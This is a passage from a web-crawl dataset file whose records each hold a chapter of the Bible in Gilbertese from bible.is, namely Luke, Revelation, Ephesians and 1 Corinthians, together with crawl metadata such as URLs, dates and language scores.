tariu.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/8","date":"2016-06-26T03:02:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783394605.61\/warc\/CC-MAIN-20160624154954-00145-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":470,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1N te Taabati teuana, ngke E rin Iesu b'a E na am'arake n ana auti te B'aritaio temanna ae kakannato, ao a tarataraia te koraki ake a mena ikekei. 2Ao noria, e mena te aomata temanna i matana ae aorakina te buubura. 3Ao E taetae Iesu nakoia rooia ma B'aritaio, ni kangai, \"E riai n taekan te Tua b'a e na karaoaki te m'akuri ni kamaiu n te Taabati, ke e aki?\" 4Ma akea ae karongoa. Ma ngaia are E taua teuarei Iesu, ni kamaiua, ao E kanakoa. 5Ao E titirakiniia, ni kangai, \"Antai i roumi ae iai natina ke ana kao ae b'aka i nanon te m'anib'a n te Taabati ae e na aki anaia maiai ngkekei naba?\" 6Ao akea ae kona n anga ana kaeka nako Ina. 7Ngke E nori aroia aomata ake a kaoaki nakon te am'arake b'a a rinei taabo n tekateka aika kakannato, ao E atonga te taeka ni kabotau nako ia, ni kangai, 8Ngkana ko kaoaki iroun temanna nakon te baka n am'arake, ao tai tekateka n te tabo ae moan te kakannato, b'a e kawa n iai ae kakannato riki nako im ae e kaoaki iroun teuarei, 9ao teuare kakao, ane na roko ma teuarei ao e na kangai nako im, \"Anga am tabo nakon teuaei!\" Ao ngkanne ane ko na nako ma te mamaa n tekateka n te tabo ae akea kakannatona. 10Ma ngkana ko kaoaki, ao naako tekateka n te tabo ae akea kakannatona, b'a ngkana e roko teuare kaoko ao ane na kangai nako im, \"Raou, naako tekateka n te tabo are rine riki!\" Ao ngkanne, ane ko na kamoamoaaki i mataia aomata ni kabaneia ake a tekateka n rarikiriki n am'arake ma ngkoe. 11B'a ane kakannatoa i bon i rouna, ao e na kamangoraki; ao ane kamangoria i bon i rouna, ao e na kakannatoaki. 12Ao E taku nakon teuare kakao, Ngkana ko karaoa te am'arake ni kam'aitia i bukin te tawanou ao te tairiki, ao tai kaoiia raaraom ke tarim ma am buu, ke raom aika kaub'ai aika a maeka ni kaan ma ngkoe, b'a a kaawa ni manga kaoko naba, ao e kabooaki nako im mwin are ko karaoia. 13Ma ngkana ko karaoa te am'arake, ao ko na kaoiia akana aki kaub'ai ma akana a aki toamau b'ain rab'ataia, ma akana aki kona te nakonako raoi, ma akana a mataki, 14ao ko na kakab'aiaki iai; b'a a aki kona ni manga kabooa mwin are ko karaoia nako ia. Ane e na kaboaki nako im mwin are ko karaoia n te tai are a manga uti iai aomata ake a raoiroi ake a tia ni mate. 15Ngke e ongo taeka aikai temanna i buakoia aomata ake a rarikiriki n am'arake ma Iesu, ao e taku nako Ina, \"E a kab'aia te aomata are na am'arake n uean te Atua!\" 16Ma E taku Iesu nako ina, E karaoa te am'arake ae ab'ab'aki te aomata temanna, ao e kaoiia aomata aika bati; 17ao e kanakoa ana toro, ngke e nangi waki te am'arake, b'a e na kangai nakoia aomata ake a tia ni kaoaki, \"Mai! b'a a bane n tauraoi b'aai ngkai.\" 18Ma a bane n anga aia taeka ni karautaeka n te nano ae ti te arona. E taku nako ina te moa n aomata are kawaraki, \"I a tia ni kabooa te aba, ao I riai n nako n noria; I butiko b'a N na tiku.\" 19Ao e kangai are temanna, \"I a tia ni kabooi tengauni kao-mm'aane ao ae i aoni kawaiu ngkai n nako ni kataia b'a ua ra. I butiko b'a N na tiku.\" 20Ao e kangai temanna, \"I a tib'a karekea buu, ma ngaia ae I aki kona n nako wati.\" 21Ngke e oki te toro arei, ao e taekini baikekei nakon ana mataniwi. Ao e un iai teuare ana auti te auti, ao e taku nakon ana toro, \"Kawaetatako naako ni kawain te kawa ao kawai i rarikin auti, ao kairiia mai akana aki kaub'ai ma akana aki toamau b'ain rab'ataia ma akana aki kona n nakonako raoi, ma mataki.\" 22Ao e taku te toro, \"Te mataniwi, e a tia ni karaoaki are ko tuatua, ao e boni m'awawa naba te tabo.\" 23Ao e taku te mataniwi nakon te toro, \"Ko na nako ni kawai aika raababa ma kawain te marenaua, ao imanonoia aomata b'a a na nako mai, b'a e aonga ni kaonaki au auti. 24B'a I taku nako imi, b'a akea i buakoia aomata ake a moa ni kaoaki ae na katoonga au am'arake!\" 25A ira Iesu aomata aika rangi ni m'aiti; ao E rairaki n taku nako ia, 26Ngkana iai ae kan riki b'a au reirei ma e aki riba tamana ma tinana ma buuna ma natina ma tarina ma m'anena, ma n aki riba naba maiuna, ao e aki kona n riki b'a au reirei. 27Ane aki uouota ana kaibangaki, n ri mwiu, ao e aki kona n riki b'a au reirei. 28B'a antai i roumi ae kani katea te auti ae buubura, ao e na aki tekateka moa ni wareka m'aitini boona, b'a tao e na tau ke e na aki i bukini katiana? 29B'a ngkana e a tia ni karaoa aana, ao e aki kona ni katiaa te auti, ao e na ngareakinaki irouia aomata ake a noria. 30Ao a na kangai, \"E a tib'a moa ni kateitei te aomata aei, ao e aki kona ni katiaa.\" 31Ao ai antai te uea, ae tebwina tengaa m'aitin ana aomata, ae e na aki tekateka moa n iango i m'ain ae nako ni buakana te uea temanna, b'a tao e na kona aona, ngkana e roko teuarei ma raona aika uabwi tengaa ni buakaniia? 32Ao ngkana e na aki kona, ao e na kanakoia taan taetae i bukina b'a a na bubuti te raoi nakon teuarei ngkae e mena i kiraroa. 33Ma ngaia are ngkana iai i buakomi ae aki kitan ana b'ai ni kabane, ao e aki kona n riki b'a au reirei. 34\"E raoiroi te taoro; ma ngkana e a mauna taorona, ao e na kanga ni manga kaokaki arona n taoro? 35E aki tau ni kabonganaki i bukini kanan te tano, ke n renganaki ma kanan te aroka aika b'ariko ni maange. Ane iai taningana n ongo ao ke e ongo!\"\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/14","date":"2016-06-29T06:02:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397567.28\/warc\/CC-MAIN-20160624154957-00084-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1046,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao e roko temanna mai buakoia anera ake itiman ake iai i rouia boora ake itiua, ao a taetae nako iu, ni kaangai, \"Mai ikai; N na kaota nako im motikan taekan te kabekaau are kakannato are tekateka i aon raan aika bati; 2are a wene ni bure ma ngaia uean aonnaba, ao are a manging i rouna kaain aonnaba ni wain n ana wene ni bure.\" 3Ngke I mena i aani m'aakan ana kairiri te Tamnei, ao E uotai nakon te rereua; ao I nora te aine ae tekateka i aon te man ae uraura ae tiritiri, aika a mena i aon rab'atana ni kabuta aara ni bakanatua, ao itiua atuna, ao tengauni korona. 4Ao e kunnikaiaki te aine arei n te ura-roo ma te uraura, ao e katamaroaaki ni b'aai ni katamaroa aika koora ma atibu aika kakawaki ma moomi; ao iai te m'angko ae te koora i nanoni baina, ae te m'angko ae on ni baika riai ni bati n ribaki, ma baika kammaira aika b'ain ana wene ni bure; 5ao e koreaki i aon ram'ana te ara ae iai nanona ae raba, ao e kaangai te ara arei: \"B'ABURON AE KAKANATO, AE TINAIA KABEKAAU MA B'AIN AON TE ABA AIKA RIAI NI BATI N RIBAKI.\" 6Ao I nora te aine arei b'a e manging n raraaia aomata ake a itiaki, ma raraaia ake a kamateaki i bukin onimakinan Iesu. Ngke I nora neierei, ao I rangi ni mimi. 7Ao e kaangai te anera nako iu, \"Ko aera ngkai ko mimi? N na tuangko nanon te baere raba are i bukin te aine ma te man are tiritiri are uota neierei, ae te man are itiua atuna ao tengauni korona. 8Te man are ko noria bon iai ngkoa, ma akea ngkai: ao e nangi rierake mai Abuto, ma n nako n te kamateaki. Ao a na mimi akana maeka i aon te aba, akana aki koreaki araia ni bokin te maiu ma ngke a moa ni karikaki aonnaba, ngkana a nora te man arei b'a bon iai ngkoa ma akea ngkai, ao b'a e na manga kaoti. 9\"Aio nanona nakon ane iai nanona ae rabakau: Atu ake itiua boni maunga aika itiua aika e tekateka iai te aine; ao bon uea aika itiman. 10A b'aka niiman i buakoia man nakoaia n uea, ao e teimatoa uean temanna, ao are temanna e tuai n roko; ao ngkana e roko, ao e na uea i nanon te tai ae aki maan. 11Ao te man are iai ngkoa ma akea ngkai, bon te kawaniman, are temanna i buakoia ake itiman; ao e nako n te kamateaki. 12\"Ao kooro ake tengaun, ake ko noori, bon uea aika tengaun, aika tuai n reke ueaia; ma a anganaki te m'aaka n tautaeka ngkai kanga uea, ti teuana te aoa, ni buoka ana tautaeka te man arei. 13Ti teuana nanoia, ao a angan te man arei m'akaia ma aia tautaeka. 14Ane a na buakana te Tiibuteteei, ao a na konaaki aoia iroun te Tiibuteteei ma raona ake a weteaki ma n rineaki ake a kakaonimaki, b'a kioina ngkai te Tiibuteteei bon aia Uea uea ao aia King king.\" 15Ao e kaangai naba nako iu, \"Raan ake ko noori, ike e tekateka iai te kabekaau arei, bon natanaomata, ma koraki n aomata aika bati, ma botannaomata, ma aomata nako aika a kakaokoro aia taetae. 16Ao kooro ake tengaun, ake ko noori, ma te man arei, a na riba te kabekaau, ao a na kurib'aia n anai ana b'ai ni kababanei, ma ni katikua n akea karabaana; ao a na kana irikona, ao a na kabuokia n te ai. 17B'a E a tia te Atua ni kaaki i nanoia te kani karaoa ana kaantaninga n te nano ae ti teuana, ao n aroia n anga m'akaia n tautaeka nakon te man arei, ni karokoa ae a kakoroaki raoi nanon ana taeka te Atua ake a tia n taekinaki. 18\"Ao te aine are ko noria bon te kaawa are kakannato are tautaeka i aoia uea i aonnaba.\"\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/17","date":"2016-07-01T20:47:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783403825.35\/warc\/CC-MAIN-20160624155003-00023-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":671,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae kam na kakairi iroun te Atua, n ai aroia ataei aika tangiraki; 2ao kam na b'aina te maiu n tangira, n ai aroni Kristo ngkae E tangirira naba, ao E anga Ngaia b'a E na mate i bukira b'a te karea nakon te Atua, ae te karea ae boiarara ae kamateaki. 3Ma ngkai aomata aika itiaki ngkami, ao e aki riai b'a e na taekinaki b'a iai te wene ni bure, ma te kammaira nako, ma te matai ni kani b'aib'ai i buakomi; 4ao e aki riai b'a kam na atongi taeka aika aki tau aika taeka aika kam'ara, ma taeka ni winikam'arane aika aki riai; ma kam riai n taetae ni kaitau. 5B'a kam bon ata aei, b'a akea te aomata ae te tia wene ni bure, ma te tia kammaira, ma te tia mataai ni kanib'aib'ai ae te tia taromauri bouananti, ae na karekea ueani Kristo ma te Atua. 6E na tai m'am'anaingkami temanna n taeka aika akea bonganaia: b'a e roko unin te Atua i bukini baikai i aoia aomata aika aki ongeaba nakoina. 7Ma ngaia ae kam na tai reitaki ma ngaiia. 8B'a kanga te roo ngkami ngkoa, ma ngkai ai kanga te oota, ngkai kam a onimakina te UEA. Kam na nakonako n ai aroia natin te oota; 9b'a uaan te oota, te ataataiaomata ni kabanea, ma te raoiroi, ma te koaua, 10ao kataa te kakukureia te Atua. 11Tai buokanib'ai n ana m'akuri te roo aika akea uaaia, ma kam na kaoti aroia; 12b'a e kamamaa b'a a na taekinaki baika a karabai ni karaoi aomata. 13B'a b'aai ni kabane ngkana a kaotaki n te oota ao a oota raoi aroia ni koaua; 14b'a b'aai ni kabane aika kaotaki a riki b'a te oota. Ao aei bukin are atongaki ni kaangai: \"Ko na uti, ngkoe ae ko matu, ao teirake mai buakoia maate, ao e na kaotako Kristo.\" 15Ma ngaia ae kam na taratarai aromi ni maiumi: kam na aki maiu n ai aroia akana aki ataib'ai, ma kam na maiu n ai aroia akana ataib'ai. 16Kam na kabongana te tai ane kona n reke iroumi i bukini karaoan ae e raoiroi, b'a a buakaka aomata ni boong aikai. 17Ma ngaia ae kam na tai baba, ma kam na ata ae tangiraki iroun te UEA b'a e na karaoaki. 18Kam na tai manging, b'a ngaia ae na urua arom, ma kam na kaonaki n te Tamnei 19Kam na i taetae temanna nakon temanna, n taekan Taian Areru, ma anene ma kuuna aika kam kairaki iai iroun te Tamnei 20ao kam na aki toki ni katituaraoa te Atua are te Tama n aran ara UEA are Iesu Kristo, i bukini b'aai ni kabane; 21ao kam na aan-taeka, temanna iroun temanna, b'a kaotani karineani Kristo iroumi. 22Ainenum'a, kam na aan-taeka irouia buumi, n ai aromi n aan-taeka iroun te UEA: 23b'a iai m'aakan te mm'aane i aon te aine, n ai aron naba Kristo ngkai iai m'aakana i aon te ekaretia; ao Kristo boni Ngaia ana Tia Kamaiu te ekaretia, are bon rab'atana. 24Ma aron te ekaretia ngkae e aan-taeka irouni Kristo, ao ai aroia naba ainenum'a b'a a na aan-taeka irouia oini buia ni b'aai ni kabane. 25Mm'aanenum'a, kam na tangiriia buumi, n ai aron naba Kristo ngkae E tangira te ekaretia, ao E anga Ngaia b'a E na mate i bukina. 26E karaoa aei b'a E na katabua te ekaretia i bukin te Atua n ana taeka, n tebokia ni kaitiakia n te ran, 27b'a e aonga n riki nakoina b'a te ekaretia ae rangi n tamaroa, ae akea barekana ke tikibuakana, ke te aro riki teuana ae na taraa-buaka iai, b'a e aonga n itiaki ma n akea buakakana. 28E riai naba b'a a na tangiriia buia mm'aane n ai aroia n tangiri oin rab'ataia. Ane tangira buna ao e tangira oin rab'atana. 29B'a bon akea te aomata ae riba rab'atana, ma e tararuaia ni karekei baika e kainanoi, ao e akoia, n ai aron naba Kristo ngkae E akoa te ekaretia, 30n aron ae ti ataia ngkai kaain te ekaretia ngaira. 31N aron are koreaki n te B'aib'ara, ni kaangai: \"I bukin aei, ao e na kitana tamana ma tinana te aomata, ao e na nim ma buna, ao a na riki b'a ti te irikona naka uoman.\" 32Bon iai te koaua ae kakannato ae raba i nanon te taeka aei, ma I taku b'a e taekinaki iai Kristo ma te ekaretia. 33Ma bon taekami naba ni tatabemaningkami: e na tangira buna te m'ane n ai arona n tangira oin rab'atana; ao e na karinea buna te aine.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Eph\/5","date":"2016-07-02T04:11:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783404826.94\/warc\/CC-MAIN-20160624155004-00034-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":769,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.406,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao ngai, taari, I aki kona n taetae nako imi ngke arona b'a aomata ngkami aika iai i roumi Tamnein te Atua, ma I taetae nako imi b'a aomata ngkami aika ana b'ai te aba, i bukina b'a ai aroia merimeri ngkami n aromi n onimakina Kristo. 2I kamoingkami n te miriki, ao I aki anganingkami te am'arake ae matoatoa; b'a kam tuai n tau nako iai, ao kam tuai naba ngkai n tau n anganaki, 3i bukina b'a kam teimatoa ni b'aina te maiu are bobuaka ma nanon te Atua. B'a ngkai iai i roumi te bakantang, ma te kauntaeka, ao tiaki kam ekaanako nanon te Atua, ao kam katotoong aroia aomata? 4B'a ngkae e kangai temanna, \"Raoni B'auro ngai\", ao temanna e kangai, \"Raon Aboro ngai\" ao tiaki b'a aei te anua n aomata? 5B'a tera aron Aboro? Ao tera aroni B'auro? Bon taan i buobuoki ngaira, aika kam riki n onimaki i roura; ao ti karaoa ara m'akuri ni kaeti ma tib'angara are E anganira te UEA. 6I uniki aroka ngai, ao e teboki Aboro; ma ana b'ai te Atua karikirakeani maiun te aroka. 7Ma ngaia ae e aki kakawaki te aomata are unika te aroka, ao te aomata naba are tebotebokia; ma E kakawaki te Atua b'a Ngaia are karikirakea maiun te aroka. 8Akea kaokoron te aomata are unika te aroka ma te aomata are teboteboka te aroka; ao ane a na anganaki n tatabemaniia booia n ai aron te m'akuri are a tia ni karaoia. 9Aboro ao ngai, bon raao ni m'akuri i bukin te Atua; ao ngkami ana o n aroka te Atua. Ao ana auti naba ni maeka ngkoe. 10N aron ana b'ai n tituaraoi te Atua are E a tia n anganai, ao I riki b'a te tia kateitei ae rabakau: I kawenea aana, ao e kateitei i aona temanna. Ma te aomata ane kateitei e na taratara raoi aron ana kateitei. 11B'a akea riki aana ae e kona ni kawenea temanna i rarikin are e a tia ni kaweneaki, are Iesu Kristo. 12Ngkana e kateitei te aomata i aon aana aei, n te koora, ke n te tirewa, ke n atibu aika kakawaki, ke n te kai, ke n te uteute, ke n te maange, 13ao ane e na noraki mwin ana m'akuri temanna ma temanna b'a aekara n te bong arei: b'a e na kaotaki n te ai are na katai aia m'akuri nako b'a ua ra. 14Ngkana e tiku n arona ana kateitei te aomata i aona, ao e na anganaki kaniwangana. 15Ma ngkana e uruaki n te ai, ao a na bua ana b'ai, ma e na kamaiuaki ngaia, kaanga ai aron te aomata are reke maiuna mai buakon uran te ai. 16Kam na ataingkami b'a ana um'antabu te Atua ngkami, ao E maeka Tamnein te Atua i nanomi! 17Ngkana e urua ana um'antabu te Atua te aomata, ao ngaia e na uruaki iroun te Atua: b'a e tabu ana um'antabu te Atua, are boni ngkami. 18E na tai burebureia te aomata i bon i rouna. Ngkana e taku temanna i nanona b'a e rabakau i buakomi n te maiu aei, ao ke e riki ni baba, b'a e aonga n rabakau. 19B'a rabakaun aonnaba bon te nanobaba iroun te Atua. B'a e koreaki ae kangai: \"E kam'aneia akana rabakau te Atua n aia iango n nanowanawana.\" 20Ao e koreaki naba ae kangai: \"E atai nanoia akana rabakau te UEA b'a akea maneia.\" 21Ma ngaia ae e na tai taetae te aomata ni kamoamoa ana m'akuri temanna. B'a bon ami b'ai b'aai ni kabane: 22B'a tao B'auro, ke Aboro, ke Keeb'a, ke aonnaba, ke te maiu, ke te mate, ke baika boou, ke baika na roko; ami b'ai ni kabane baikai, 23ao ana b'ai Kristo ngkami, ao ana b'ai te Atua Kristo.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/3","date":"2016-06-27T22:50:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783396147.66\/warc\/CC-MAIN-20160624154956-00140-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":635,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.257,"stopwords_ratio":0.402,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao I anganaki te kai ae kanga ai aron te kai ni baire; ao I tuangaki ae kaangai, \"Tei rake ao bairea ana Tembora te Atua, ma te baonikarea, ao warekia akana taromauri i nanona. 2Ao ko na katuka te ru are i tinanikun te tabo are tabu n te Tembora n aki baireia, i bukina b'a e katukaki i bukiia botannaomata ake a na toutoubeka aon te kaawa are tabu abwi ma uoua te nam'akaina. 3Ao N na karekea aia tai au tia kakoaua ake uoman b'a a na taetae ni burabeti, ao a na taetae ni burabeti i nanon tengaa ao uabubua ma onongaun te bong, ao a na kunnikaiia n te kunnikai ae mangaingai.\" 4Taani kakoaua akekei bon oriwa ake uakai, ao kain-tei n taura ake uaai ake a tei i matan Uean aonnaba. 5Ao ngkana iai te kairiribai ae kataia ni kani kaikoakia, ao e na kamateaki n te ai are oti nako mai wiia. 6A kona taani kakoaua akekei ni bonota karawa, b'a e na aki b'aka te karau ni karokoa koron aia bong n taetae ni burabeti; ao iai m'akaia i aon raan, ni kona n oniki b'a raraa; ao iai naba m'akaia ni karokoi b'aai ni kamamate ni kaokioki n ai aron takun nanoia. 7Ao ngkana a tia n taekina aia rongorongo, ao te man are tiritiri are tabe n rierake mai Abuto e na buakaniia ao e na tokanikai i aoia, ao e na kamateia. 8Ao a na wene rab'ataia ni kawain te kaawa are ab'ab'aki ike E kamateaki iai aia Uea; ao aran te kaawa arei, ae te ara ni kabotau, bon Totom ma Aikubita. 9Ao tabem'aang mai buakoia natanaomata ma baronga ma botannaomata ma aomata nako aika a kakaokoro aia taetae a taratarai rab'ata ake a mate akekei i nanon tenibong ma te iterana, ao a aki kariaia b'a a na taunaki n te rua ni mate. 10Ao ake a maeka i aon te aba a kim'areirei ma ni kakatonga; ao ane a na kanako b'aintangira ni bon nakoia n tatabemaniia nako; b'a burabeti ake uoman akekei bon taan uota te aro ae kamamate nakoia aomata ake a mena i aon te aba. 11Ma i mwin tenua ma te iterana te bong ao e nako mairoun te Atua te ikeike-ni-maiu, ao e rin i nanoia; ao a teirake i aoni waeia, ao ake a tarataraia a rotaki n te maku ae korakora. 12Ao burabeti ake uoman akekei a ongo te b'ana ae korakora mai karawa ae kaangai nakoia, \"Kam na rierake nako ikai.\" Ao a rierake nako karawa n te nang; ao aia kairiribai a tarataraia. 13Ao n te aoa naba arei ao e roko te m'aeiei ae korakora; ao e uruaki kabwiani m'akoron te kaawa, ao a mate ni m'aeiein te aba arei aomata aika itinga; ao aomata ake nikiraia a rangi ni maku, ao a angan Atuani karawa te neboaki. 14E a tia n roko te kauoua n rekenikai; noria, ae e na roko ni waetata te katenua n rekenikai! 15Ao e katanga ana bu te anera are te kaitiman; ao b'ana aika korakora i karawa a kaangai, \"Ana b'ai ara Uea ma ara Kristo te m'aaka n tautaeka i aonnaba; ao ane E na uea n aki totoki.\" 16Ao unimm'aane ake uangaun ma aman, ake a tekateka i aon aia kaintokanuea i matan te Atua, a katorobubua ni bobaraaki ao a taromauria te Atua, 17ao a kaangai, \"Ti katituaraoiko te Uea ae te Atua ae Moan te M'aka, ae iai ngkai, ao iai naba ngkoa, ao ti kaitauko. b'a Ko a tia ni kabongana m'aakam ae korakora, ao Ko uea! 18A un botannaomata aika aki onimakina te Atua, ma e a roko unim ao te tai i bukiia maate ni motikaki taekaia. ma te tai are a na anganaki iai boon aia m'akuri am toro ake burabeti ma ake a maka aram, ake te koraki ake a mangori ma ake a kakannato; ao te tai ae a na tiringaki iai akana urua aon te aba!\" 19Ao e kaukaki ana Tembora te Atua, ae te Tembora ae mena i karawa, ao e noraki te Atiniberita i nanona. Ao e itiiti ma n rebwetata te baa ma n rurunga, ao e m'aeiei te aba; ao e b'aka ni korakora te karau ae te aiti ae matoatoa.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/11","date":"2016-06-28T02:28:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783396224.52\/warc\/CC-MAIN-20160624154956-00017-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":718,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.461,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ti na nori ngkai taekani baike kam koroi nako iu: E raoiroi b'a e na aki wene n taanga te mm'aane ma te aine. 2Ma i bukina ngkai e bati te wene ni bure, ao a na bane mm'aane ni karekeia buia, ao a na bane naba aine ni karekeia buia. 3E riai te mm'aane n angani buuna te baere riai b'a e na anganaki n te aro n taanga, ao ai aron naba te aine nakoni buuna. 4B'a e aki tautaeka te aine i aon rab'atana, ma e tautaeka buuna; ao ai aron naba te mm'aane: b'a e aki tautaeka i aon rab'atana, ma e tautaeka buuna. 5Akea ae na rawa i roumi ni wene n taanga, ma ti ngkana kam a tia ni boraraoi b'a kam na aki karaoia moa i nanon taina are kam baireia, b'a kam aonga ni kabongana ami tai anne n tatataro iai; ma i mwin anne ao kam bon riai ni manga okiri aromi n reitaki b'a taanga ngkami, b'a kam kawa ni kaririaki iroun Tatan ngkai kam babanga n taotaon nanomi. 6Aei bon ti au taeka ni kariaia te aro aei, ma tiaki te tua. 7Ai bia arou aomata ni kabaneia! Ma a bane aomata nako n toa ma te b'ai n tituaraoi mairoun te Atua: e anganaki temanna te aeka teuana, ao temanna te aeka teuana. 8Ao ngkanne au taeka nakoia aika tuai ni mareaki ao nakoia aine aika a mate buia: b'a e raoiroi i rouia ngkana a tiku n akea buia, n ai arou. 9Ma ngkana a babanga n taotaon nanoia, ao a na mareaki; b'a e raoiroi riki ae a mareaki nakon ae a tiku ma nanoia ae kiriwe i bukin tangiran te m'ane ke te aine. 10Ma nakoia ake a tia ni mareaki, ao aio au taeka tiaki au taeka b'a ana taeka te UEA: b'a e na tai raure ma buuna te aine; 11ma ngkana e karaoa anne, ao e riai n tiku n akea buuna, ke e na oki nakoni buuna: ao te mm'aane e na aki kanakoa buuna. 12Aio ngkanne au taeka nakoia tem'angina i buakomi ma tiaki ana taeka te UEA, b'a ngkana iai i buakomi raomi n onimaki ae buuna te aine ae tiaki te tia onimaki ae kariaia b'a e na tekateka ma teuanne, ao ke e tai kitana neienne. 13Ao te aine ae buuna te mm'aane ae tiaki te tia onimaki ae kariaia b'a e na tekateka ma neienne, ao ke e tai kitana teuanne. 14I taekina aei i bukina b'a te mm'aane ae aki onimaki e a warekaki b'a temanna ngaia i buakoia ana aomata te Atua i bukin arona ni katiteuanaki ma buuna; ao te aine ae aki onimaki e a riki b'a temanna ngaia i buakoia ana aomata te Atua i bukini buuna ngkae e onimaki. B'a ngkana tiaki arona aei, ao natiia a na katotoong aroia ataei aika natiia beekan; ma ngkana arona aei, ao a butim'aeaki natiia iroun te Atua. 15Ma ngkana bon nanon te aomata ae aki onimaki b'a e na kitana buuna are onimaki, ao ke e karaoia; ngkana e reke aei, ao akea te bae e na kabaeaki iai n te maiu n taanga te mm'aane ke te aine are te buu are onimaki. B'a E a tia te Atua ni weteira nakon te maiu n raoi. 16Ko aki ataia ngkoe ae te ainenum'a ae ko onimaki, b'a ngaia e na kamaiuaki buum i roum? Ao ngkoe ae te mm'aanenum'a ae ko onimaki, ko aki ataia b'a ngaia e na kamaiuaki buum i roum? 17Ma ae kakawaki b'a a na kaotiia aomata nako ni maiuia b'a iai katauaia are a anganaki mairoun te UEA ngke a weteaki iroun te Atua. Ao bon aei naba au taeka are I tuangiia ekaretia ni kabaneia. 18E a tia ni kaitiakaki temanna ngke e weteaki? Ke e tai kamaunaa mwini koreana. E tuai ni kaitiakaki temanna ngke e weteaki? Ke e kaki taekan te kaitiakaki. 19Akea manen te kaitiakaki, ao akea naba manen te aki-kaitiakaki; ma bon iai maneni kawakinan ana tua te Atua. 20Ke e tiku n arona te aomata are e mena iai ngke e weteaki. 21Ko weteaki ngke te toro ngkoe? Tai tabe ma arom n toro; ma ngkana iai te anga ae ko na kona iai ni kainaomatako, ao kabongana. 22B'a te toro ae weteaki iroun te UEA, bon ana aomata te UEA, ae e kainaomataki; ao ai aron naba te aomata ae inaomata, ae weteaki, b'a bon ana toro te UEA. 23Kam kaboaki ao e a tia ni b'aka boomi; kam na tai riki b'a aia toro aomata. 24Taari, kam na maiu n reitaki ma te Atua n aromi are kam mena iai ngke kam weteaki. 25I bukiia ngkanne ateiaine: akea ana taeka te UEA i rou i bukiia, ma N na kaota au iango n ai aron temanna ae nanoangaki iroun te UEA, ao e onimakinaki. 26Ngkai a kanganga boong aikai ao I taku b'a e raoiroi riki iroun te aomata b'a e na tiku n arona ae e mena iai. 27Ko a tia ni mare? Ko na tiku n arom anne. Ko tuai ni mare? Tai iangoa ae ko na mare. 28Ma ngkana ko mare, ao ko aki bure iai; ao ngkana e mare te aine ae te ateiaine, ao e aki bure naba iai. Ma e na reke i rouia aika a tia ni mare rawawatan te maiu aei, are I aki tangiria b'a e na reke i rouia. 29Ae I nanonna, taari, b'a e a riki rake ni kimototo ngkai te tai, ma ngaia ae a riai mm'aanenum'a, ni moa ma ngkai, ni maiu n ai aron ae aongkoa akea buia; 30ao te koraki ake a katumaua te tang b'a aongkoa a aki, ao ake a kim'areirei b'a aongkoa a aki kim'areirei, ao ake a bob'ai b'a aongkoa a aki b'aini baike a kaboi; 31ao ake a tabe ma b'ain te aonnaba aei, b'a aongkoa a aki kabanebuakai aia tai iai. B'a te aonnaba aei, n arona ae ngkai, e na aki maan ao e na mauna. 32Ma I tangiringkami b'a kam na aki iango n raraoma. Te mm'aane ae aki mareaki 